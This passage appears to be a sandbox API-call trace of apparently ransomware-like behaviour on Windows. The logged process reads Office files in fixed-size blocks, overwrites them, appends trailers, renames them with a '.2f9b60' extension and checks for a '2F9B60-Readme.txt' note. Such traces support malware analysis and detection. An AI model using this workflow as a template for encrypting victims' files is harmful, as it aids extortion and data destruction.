lpOverlapped=0x0) returned 1 [0121.345] SetFilePointerEx (in: hFile=0x1024, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0121.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0121.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0121.346] NtQuerySystemTime (in: CurrentTime=0x2577f8a0 | out: CurrentTime=0x2577f8a0*=132462177267418000) returned 0x0 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x26f687d5 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x328a0dbf [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x1b7b204c [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x292fef67 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0xa268bef [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x53827940 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x44355746 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x53827940 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x18e10b1c [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x2e5e2e74 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x5a156212 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x2f0e24e7 [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0xba56f2f [0121.346] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x606d24a3 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x20c0c0dc [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x7307efc7 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x70a935cf [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x5e8d08c2 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x75ef90f [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x5685be28 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x53859c05 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x63546ec2 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x1aee169b [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x31023a8 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x31023a8 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x647b874d [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x5e3c5201 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x3a2288a9 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x5fb944b4 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x38536c40 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x20bf7100 [0121.347] RtlRandomEx (in: Seed=0x2577f890 | out: Seed=0x2577f890) returned 0x7988d048 [0124.412] SetFilePointerEx (in: hFile=0x1024, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.412] ReadFile (in: hFile=0x1024, lpBuffer=0x41c84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2577f900, lpOverlapped=0x0 | out: lpBuffer=0x41c84990*, lpNumberOfBytesRead=0x2577f900*=0x3c00, lpOverlapped=0x0) returned 1 [0124.413] SetFilePointerEx (in: hFile=0x1024, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0124.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e790 [0124.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab4c0 [0124.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab4c0) returned 1 [0124.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b2a520 [0124.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab4c0 [0124.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aac50 [0124.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aac50) returned 1 [0124.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0124.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0124.415] WriteFile (in: hFile=0x1024, lpBuffer=0x41b2a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2577f900, lpOverlapped=0x0 | out: lpBuffer=0x41b2a520*, lpNumberOfBytesWritten=0x2577f900*=0x3c00, lpOverlapped=0x0) returned 1 [0124.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2a520) returned 1 [0124.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c84990) returned 1 [0124.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202aac50 [0124.432] SetFilePointerEx (in: hFile=0x1024, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.432] WriteFile (in: hFile=0x1024, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2577f9b0, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x2577f9b0*=0x106, lpOverlapped=0x0) returned 1 [0124.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0124.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e790 [0124.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aace0 [0124.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aace0) returned 1 [0124.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0124.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aace0 [0124.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aad10 [0124.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aad10) returned 1 [0124.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0124.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0670 [0124.435] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="c6") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="08") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="30") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="ad") returned 2 [0124.435] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="0f") returned 2 [0124.435] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="e2") returned 2 [0124.435] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="9e") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="3d") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="a6") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="fd") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.435] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="02") returned 2 [0124.435] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="b9") returned 2 [0124.435] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="62") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="d4") returned 2 [0124.435] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="32") returned 2 [0124.436] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="11") returned 2 [0124.436] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.436] RtlInitAnsiString (in: DestinationString=0x2577fa28, SourceString="e4c60830ad0fe29e3da67dfdd102b962d432110e" | out: DestinationString="e4c60830ad0fe29e3da67dfdd102b962d432110e") [0124.436] RtlAnsiStringToUnicodeString (in: DestinationString=0x2577f9f8, SourceString="e4c60830ad0fe29e3da67dfdd102b962d432110e", AllocateDestinationString=1 | out: DestinationString="e4c60830ad0fe29e3da67dfdd102b962d432110e") returned 0x0 [0124.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c2b0 [0124.436] wcscat (in: _Dest=0x2027b5f0, _Source="e4c60830ad" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\e4c60830ad") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\e4c60830ad" [0124.436] wcscat (in: _Dest=0x2027b5f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\e4c60830ad.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\e4c60830ad.2f9b60" [0124.436] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\e4c60830ad.2f9b60", NtPathName=0x2577f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\e4c60830ad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac4d0 [0124.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac4d0) returned 1 [0124.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.437] NtQueryInformationFile (in: FileHandle=0x1024, IoStatusBlock=0x2577fa38, FileInformation=0x2577fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2577fa38, FileInformation=0x2577fa48) returned 0x0 [0124.437] NtSetInformationFile (FileHandle=0x1024, IoStatusBlock=0x2577fa38, FileInformation=0x2577fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b5f0) returned 1 [0124.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c2b0) returned 1 [0124.439] FlushFileBuffers (hFile=0x1024) returned 1 [0124.440] CloseHandle (hObject=0x1024) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b5f0 [0124.442] wcscpy (in: _Dest=0x2027b5f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0124.442] wcscat (in: _Dest=0x2027b5f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0124.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0124.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b5f0) returned 1 [0124.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af2b0) returned 1 Thread: id = 1473 os_tid = 0x1958 [0120.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml")) returned 0x20 [0120.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml", dwFileAttributes=0x20) returned 1 [0120.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x184c [0120.213] GetFileSizeEx (in: hFile=0x184c, lpFileSize=0x4175f720 | out: lpFileSize=0x4175f720*=210743) returned 1 [0120.213] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x33733, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.213] ReadFile (in: hFile=0x184c, lpBuffer=0x4175f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4175f6e8, lpOverlapped=0x0 | out: lpBuffer=0x4175f6a0*, lpNumberOfBytesRead=0x4175f6e8*=0x4, lpOverlapped=0x0) returned 1 [0120.817] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a69b0 [0120.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a72b0 [0120.817] NtQuerySystemTime (in: CurrentTime=0x4175f5e0 | out: CurrentTime=0x4175f5e0*=132462177262114000) returned 0x0 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x2fddb0a0 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x7f27b5fb [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x6fcfbb5c [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x4baa4877 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x7d9395a9 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x900d381 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x5e97d8fa [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x774dfa98 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x18fd5461 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x6b26559e [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x5d1d8475 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x26db1e93 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x17e88eee [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x314ec618 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x3847c568 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x1c846103 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x483b3e52 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0xe95df54 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x235d08b6 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x5d32e697 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x3e7842d9 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x611818fd [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x75b6b053 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x7bb4112a [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x583da6a0 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0xb187505 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x261a8900 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x4497d968 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x560795da [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x3d8f197e [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x64208469 [0120.818] RtlRandomEx (in: Seed=0x4175f5d0 | out: Seed=0x4175f5d0) returned 0x6136c8f2 [0120.833] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.833] ReadFile (in: hFile=0x184c, lpBuffer=0x1ce82de0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4175f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce82de0*, lpNumberOfBytesRead=0x4175f640*=0x3c00, lpOverlapped=0x0) returned 1 [0122.240] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0122.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0122.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263980) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fdf0f0 [0124.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616a0 [0124.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0124.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263350) returned 1 [0124.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0124.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0124.480] WriteFile (hFile=0x184c, lpBuffer=0x41fdf0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4175f640, lpOverlapped=0x0) [0170.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fdf0f0) returned 1 [0170.811] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.811] ReadFile (in: hFile=0x184c, lpBuffer=0x1ce82de0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4175f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce82de0*, lpNumberOfBytesRead=0x4175f640*=0x3c00, lpOverlapped=0x0) returned 1 [0170.901] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0170.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0170.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed78d0 [0170.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0170.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0170.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0170.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.904] WriteFile (in: hFile=0x184c, lpBuffer=0x41ed78d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4175f640, lpOverlapped=0x0 | out: lpBuffer=0x41ed78d0*, lpNumberOfBytesWritten=0x4175f640*=0x3c00, lpOverlapped=0x0) returned 1 [0194.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed78d0) returned 1 [0194.589] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x2fb37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.589] ReadFile (in: hFile=0x184c, lpBuffer=0x1ce82de0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4175f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce82de0*, lpNumberOfBytesRead=0x4175f640*=0x3c00, lpOverlapped=0x0) returned 1 [0194.721] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x2fb37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d430 [0194.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d430) returned 1 [0194.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20459710 [0194.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d430 [0194.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d190 [0194.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d190) returned 1 [0194.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.724] WriteFile (in: hFile=0x184c, lpBuffer=0x20459710*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4175f640, lpOverlapped=0x0 | out: lpBuffer=0x20459710*, lpNumberOfBytesWritten=0x4175f640*=0x3c00, lpOverlapped=0x0) returned 1 [0205.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20459710) returned 1 [0205.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0080 [0205.394] SetFilePointerEx (in: hFile=0x184c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.394] WriteFile (in: hFile=0x184c, lpBuffer=0x19eba0*, nNumberOfBytesToWrite=0x174, lpNumberOfBytesWritten=0x4175f6f0, lpOverlapped=0x0 | out: lpBuffer=0x19eba0*, lpNumberOfBytesWritten=0x4175f6f0*=0x174, lpOverlapped=0x0) returned 1 [0208.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0208.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a30) returned 1 [0208.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61650 [0208.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0208.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b00 [0208.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b00) returned 1 [0208.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x85) returned 0x431a1800 [0208.875] sprintf (in: _Dest=0x431a1800, _Format="%c%c" | out: _Dest="06") returned 2 [0208.875] sprintf (in: _Dest=0x431a1802, _Format="%c%c" | out: _Dest="57") returned 2 [0208.875] sprintf (in: _Dest=0x431a1804, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.875] sprintf (in: _Dest=0x431a1806, _Format="%c%c" | out: _Dest="e6") returned 2 [0208.875] sprintf (in: _Dest=0x431a1808, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.875] sprintf (in: _Dest=0x431a180a, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.875] sprintf (in: _Dest=0x431a180c, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.875] sprintf (in: _Dest=0x431a180e, _Format="%c%c" | out: _Dest="52") returned 2 [0208.875] sprintf (in: _Dest=0x431a1810, _Format="%c%c" | out: _Dest="05") returned 2 [0208.875] sprintf (in: _Dest=0x431a1812, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.875] sprintf (in: _Dest=0x431a1814, _Format="%c%c" | out: _Dest="50") returned 2 [0208.875] sprintf (in: _Dest=0x431a1816, _Format="%c%c" | out: _Dest="90") returned 2 [0208.875] sprintf (in: _Dest=0x431a1818, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.875] sprintf (in: _Dest=0x431a181a, _Format="%c%c" | out: _Dest="32") returned 2 [0208.875] sprintf (in: _Dest=0x431a181c, _Format="%c%c" | out: _Dest="94") returned 2 [0208.876] sprintf (in: _Dest=0x431a181e, _Format="%c%c" | out: _Dest="10") returned 2 [0208.876] sprintf (in: _Dest=0x431a1820, _Format="%c%c" | out: _Dest="83") returned 2 [0208.876] sprintf (in: _Dest=0x431a1822, _Format="%c%c" | out: _Dest="81") returned 2 [0208.876] sprintf (in: _Dest=0x431a1824, _Format="%c%c" | out: _Dest="d5") returned 2 